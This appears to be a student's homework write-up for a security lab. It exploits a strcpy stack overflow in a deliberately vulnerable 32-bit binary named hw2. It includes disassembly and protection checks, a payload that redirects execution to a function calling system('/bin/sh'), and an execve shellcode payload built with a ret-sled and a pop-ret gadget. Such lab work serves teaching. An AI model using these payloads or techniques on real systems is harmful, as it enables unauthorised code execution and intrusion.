Skip to main content

HW2

1. What does this program do? (1 point)

Confirm the file type

file hw2

And here is my output, for reference:

[02/28/25]seed@VM:Yuanjun$file hw2
hw2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9bb7da34107bbc5a04e8e0ec14bb5ec7f46bd39f, not stripped

This indicates that the file is an ELF 32-bit executable file and not stripped, which means that we can use objdump or gdb to analyze the file.

Disassemble the file

(1) List symbols:

nm -c hw2

And the output:

[02/28/25]seed@VM:Yuanjun$nm -C hw2
0804a030 B __bss_start
0804a030 b completed.7200
0804a028 D __data_start
0804a028 W data_start
08048440 t deregister_tm_clones
080484b0 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a030 D _edata
0804a034 B _end
U exit@@GLIBC_2.0
08048654 T _fini
08048668 R _fp_hw
080484d0 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
08048824 r __FRAME_END__
08048524 T getPassword
0804a000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
080486e0 r __GNU_EH_FRAME_HDR
0804834c T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
0804866c R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
w _Jv_RegisterClasses
08048650 T __libc_csu_fini
080485f0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
08048562 T main
U printf@@GLIBC_2.0
U puts@@GLIBC_2.0
08048470 t register_tm_clones
080484fb T secret_func
08048400 T _start
U strcmp@@GLIBC_2.0
U strcpy@@GLIBC_2.0
U system@@GLIBC_2.0
0804a030 D __TMC_END__
08048430 T __x86.get_pc_thunk.bx

(2) Disassemble the main function:

gdb -q hw2
<gdb> disassemble main

And the output:

gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048562 <+0>: lea ecx,[esp+0x4]
0x08048566 <+4>: and esp,0xfffffff0
0x08048569 <+7>: push DWORD PTR [ecx-0x4]
0x0804856c <+10>: push ebp
0x0804856d <+11>: mov ebp,esp
0x0804856f <+13>: push ecx
0x08048570 <+14>: sub esp,0x14
0x08048573 <+17>: mov eax,ecx
0x08048575 <+19>: mov BYTE PTR [ebp-0x9],0x61
0x08048579 <+23>: cmp DWORD PTR [eax],0x1
0x0804857c <+26>: jg 0x804859e <main+60>
0x0804857e <+28>: mov eax,DWORD PTR [eax+0x4]
0x08048581 <+31>: mov eax,DWORD PTR [eax]
0x08048583 <+33>: sub esp,0x8
0x08048586 <+36>: push eax
0x08048587 <+37>: push 0x80486a6
0x0804858c <+42>: call 0x8048390 <printf@plt>
0x08048591 <+47>: add esp,0x10
0x08048594 <+50>: sub esp,0xc
0x08048597 <+53>: push 0x0
0x08048599 <+55>: call 0x80483d0 <exit@plt>
0x0804859e <+60>: mov eax,DWORD PTR [eax+0x4]
0x080485a1 <+63>: add eax,0x4
0x080485a4 <+66>: mov eax,DWORD PTR [eax]
0x080485a6 <+68>: sub esp,0xc
0x080485a9 <+71>: push eax
0x080485aa <+72>: call 0x8048524 <getPassword>
0x080485af <+77>: add esp,0x10
0x080485b2 <+80>: test eax,eax
0x080485b4 <+82>: je 0x80485c8 <main+102>
0x080485b6 <+84>: sub esp,0xc
0x080485b9 <+87>: push 0x80486bc
0x080485be <+92>: call 0x80483b0 <puts@plt>
0x080485c3 <+97>: add esp,0x10
0x080485c6 <+100>: jmp 0x80485d8 <main+118>
0x080485c8 <+102>: sub esp,0xc
0x080485cb <+105>: push 0x80486ce
0x080485d0 <+110>: call 0x80483b0 <puts@plt>
0x080485d5 <+115>: add esp,0x10
0x080485d8 <+118>: mov eax,0x0
0x080485dd <+123>: mov ecx,DWORD PTR [ebp-0x4]
0x080485e0 <+126>: leave
0x080485e1 <+127>: lea esp,[ecx-0x4]
0x080485e4 <+130>: ret
End of assembler dump.

(3) Disassemble the getPassword function:

<gdb> disassemble getPassword

And the output:

gdb-peda$ disassemble getPassword
Dump of assembler code for function getPassword:
0x08048524 <+0>: push ebp
0x08048525 <+1>: mov ebp,esp
0x08048527 <+3>: sub esp,0x38
0x0804852a <+6>: sub esp,0x8
0x0804852d <+9>: push DWORD PTR [ebp+0x8]
0x08048530 <+12>: lea eax,[ebp-0x2a]
0x08048533 <+15>: push eax
0x08048534 <+16>: call 0x80483a0 <strcpy@plt>
0x08048539 <+21>: add esp,0x10
0x0804853c <+24>: sub esp,0x8
0x0804853f <+27>: push 0x804869e
0x08048544 <+32>: lea eax,[ebp-0x2a]
0x08048547 <+35>: push eax
0x08048548 <+36>: call 0x8048380 <strcmp@plt>
0x0804854d <+41>: add esp,0x10
0x08048550 <+44>: test eax,eax
0x08048552 <+46>: jne 0x804855b <getPassword+55>
0x08048554 <+48>: mov eax,0x1
0x08048559 <+53>: jmp 0x8048560 <getPassword+60>
0x0804855b <+55>: mov eax,0x0
0x08048560 <+60>: leave
0x08048561 <+61>: ret
End of assembler dump.

Answer

So we can now answer the first question - what does this program do?

The main function first checks the number of arguments passed to the program and then passes the first argument to the getPassword function.

Then getPassword compares the input string with a predefined string, which is stored at address 0x804869e. If the input string is the same as the predefined string, the function returns 1; otherwise, it returns 0.

Finally, the main function prints different messages based on the return value of the getPassword function.

2. Vulnerability Analysis (2 points)

Why is it vulnerable?

Because the program use strcpy() without bounds checking, which can cause a buffer overflow by allowing input larger than the buffer size to overwrite the return address on the stack.

Is it protected using one of the countermeasures we learned about? Which one(s)? How do you know?

We have learned about Stack Canary, PIE, ASLR and NX.

We will check them one by one, the command and output are as follows:

[03/01/25]seed@VM:Yuanjun$readelf -l hw2 | grep GNU_STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
[03/01/25]seed@VM:Yuanjun$objdump -t hw2 | grep __stack_chk_fail
[03/01/25]seed@VM:Yuanjun$readelf -h hw2 | grep Type
Type: EXEC (Executable file)
[03/01/25]seed@VM:Yuanjun$cat /proc/sys/kernel/randomize_va_space
2
  1. NX:
    The GNU_STACK section is marked as RWE, which indicates that the stack is both readable, writable, and executable. So the program is not protected by NX. Which also means that shellcode can be executed on the stack.
  2. Stack Canary:
    No output for __stack_chk_fail symbol, which means that the program is not protected by Stack Canary. Which also means that the program is vulnerable to buffer overflow.
  3. PIE:
    The Type of the file is EXEC, which means that the program is not protected by PIE. Which also means that the address of the functions is fixed, and the attacker can easily jump to the functions.
  4. ASLR: Output 2 means that the ASLR is enabled, which means that the program is protected by ASLR. So the addresses of stack, heap, and libraries are randomized, which makes it difficult for the attacker.

3. What is the return address of the vulnerable function? (1 point)

As we can tell from the above information, 0x08048561 is the return address of the getPassword function.
Excecute the following commands in gdb and set a breakpoint at the getPassword function:

gdb -q hw2
(gdb) break *0x08048561
(gdb) run 123

Then we can check where the ESP is pointing to:

(gdb) x/1x $esp

And the ouptut is:

gdb-peda$ x/1x $esp
0xffffd1bc: 0xaf

Answer

So the return address of the vulnerable function is 0x080485af, which is an instruction within the main function:

0x080485af <+77>:	add    esp,0x10

4. Exploit the secret function

Name of the secret function?

As we can see from the above nm output, the name of the secret function is secret_func:

080484fb T secret_func

Construct payload?

First, we could tell from the disassembly of the getPassword function that:

  • Buffer ans_buf starts at ebp-0x2a (42 bytes below ebp), which means that the buffer size is 42 bytes.
  • The return address is 4 bytes above the buffer, which means that the return address is 46 bytes below ebp.

Additionally, the address of the secret_func is 0x080484fb, shown above.

So we can construct the payload as follows:

./hw2 $(perl -e 'print "A"x46 . "\xfb\x84\x04\x08"')

Fortunately, we get it correct and the secret_func is executed successfully:

[03/02/25]seed@VM:Yuanjun$./hw2 $(perl -e 'print "A"x46 . "\xfb\x84\x04\x08"')
The secret message is 'I like coffee'
$
What if the payload is incorrect?

That is the time we need to debug the program using gdb.
I will show you how to, as follows:

gdb -q hw2
(gdb) break *0x08048561 # set a breakpoint at the ret address of getPassword function
(gdb) run $(perl -e 'print "A"x44 . "\xfb\x84\x04\x08"') # the incorrect payload
(gdb) x/16xw $esp-48 # check the stack

The stack is like:

gdb-peda$ x/16xw $esp-48
0xffffd15c: 0x41410000 0x41414141 0x41414141 0x41414141
0xffffd16c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd17c: 0x41414141 0x41414141 0x41414141 0x84fb4141
0xffffd18c: 0x08000804 0xffffd417 0x00200000 0x00000000

So we can see that the return address 0x080484fb is separated into two parts, which means that we need 2 more bytes to overwrite the return address.

a. If successful, you should get a shell. Can you say why? (1 point)

Yes. As we can see from the above output:

[03/02/25]seed@VM:Yuanjun$./hw2 $(perl -e 'print "A"x46 . "\xfb\x84\x04\x08"')
The secret message is 'I like coffee'
$

The secret_func is executed successfully, and the $ prompt shows that we get a shell.

Why is that? Let's check the secret_func function:

gdb -q hw2

gdb-peda$ disassemble secret_func
Dump of assembler code for function secret_func:
0x080484fb <+0>: push ebp
0x080484fc <+1>: mov ebp,esp
0x080484fe <+3>: sub esp,0x8
0x08048501 <+6>: sub esp,0xc
0x08048504 <+9>: push 0x8048670
0x08048509 <+14>: call 0x80483b0 <puts@plt>
0x0804850e <+19>: add esp,0x10
0x08048511 <+22>: sub esp,0xc
0x08048514 <+25>: push 0x8048696
0x08048519 <+30>: call 0x80483c0 <system@plt>
0x0804851e <+35>: add esp,0x10
0x08048521 <+38>: nop
0x08048522 <+39>: leave
0x08048523 <+40>: ret
End of assembler dump.

We can see that these two lines:

0x08048514 <+25>:	push   0x8048696
0x08048519 <+30>: call 0x80483c0 <system@plt>

show that the address 0x8048696 is pushed onto the stack and then the system function is called.
We can say that the shell relavant command, like /bin/sh, is stored at the address 0x8048696.

So we continue to check the address 0x8048696:

gdb-peda$ x/s 0x8048696
0x8048696: "/bin/sh"

The output confirms our guess. So the system("/bin/sh") command is executed, and that is why we get a shell.

b. Exit the shell; what do you see? Why? (1 point)

[03/02/25]seed@VM:Yuanjun$./hw2 $(perl -e 'print "A"x46 . "\xfb\x84\x04\x08"')
The secret message is 'I like coffee'
$ exit
Segmentation fault

After we exit the shell, we get a Segmentation fault. Why is that?

We can go back to the secret_func function:

0x08048522 <+39>: leave
0x08048523 <+40>: ret

As our payload overwrites only the return address of the getPassword function, the return address of the secret_func function is not correctly set.
So while the ret instruction is executed, the program tries to jump to an invalid or random address, which causes the Segmentation fault.

5. Exploit the program to spawn a new shell using a shellcode (4 points for successful exploit and documentation).

As we have learnt from the Studio 4, the general format of the exploit is like:

./ans_check6 $(perl -e 'print "\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80", "{&ret}"xC, "{&pop-ret}"').

shellcode

From Studio 4, a 24-byte shellcode spawns a shell

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

ret instruction address

Then we need to find out the address of a ret instruction within the main function:

objdump -D ./hw2 | less

And we get:

 80485e4:       c3                      ret

pop-ret gadget address

The next one is the address of a pop-ret gadget:

[03/02/25]seed@VM:Yuanjun$objdump -D hw2 | grep -B3 ret | grep -A1 pop
804836d: 5b pop %ebx
804836e: c3 ret
--
8048649: 5e pop %esi
804864a: 5f pop %edi
804864b: 5d pop %ebp
804864c: c3 ret
--
8048666: 5b pop %ebx
8048667: c3 ret

Buffer Address

gdb -q hw2
gdb-peda$ break *0x08048534
gdb-peda$ run AAAA

gdb-peda$ p $ebp-0x2a
$1 = (void *) 0xffffd15e

Input string address as argument & a higher address of it

GDB img

As we have already known that return address of the vulnerable function (getPassword function) is 0x080485af, as the one framed in the picture.
So the passed argument and the higher address of it should be the ones circled in the picture.

Add NOPs

As for the address 0xffffd15e, we need to add 2 NOPS before the shellcode to make the address become 0xffffd160, which ends in 0x0.
But the shellcode itself occupies 25 bytes, which means we need to 25 + 3 = 28, making it a multiple of 4. So we also need 3 NOPS after the shellcode.

How many "C"s we need for the &ret in the payload?

The &pop-ret should actually start at 0xfffd260.
Meanwhile, after the shellcode, &ret shoud be filled in from address 0xffffd17c.
0xffffd2600xffffd17c=0xe40xffffd260 - 0xffffd17c = 0xe4, which is 228 bytes.
Then we need to C=228/4=57C = 228 / 4 = 57, as each “&ret” consumes 4 bytes.

The final payload

./hw2 $(perl -e 'print "\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90", "\xe4\x85\x04\x08"x57, "\x6d\x83\x04\x08"')

Fortunately, we finally did it!

[03/02/25]seed@VM:Yuanjun$./hw2 $(perl -e 'print "\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90", "\xe4\x85\x04\x08"x57, "\x6d\x83\x04\x08"')
$ exit
[03/02/25]seed@VM:Yuanjun$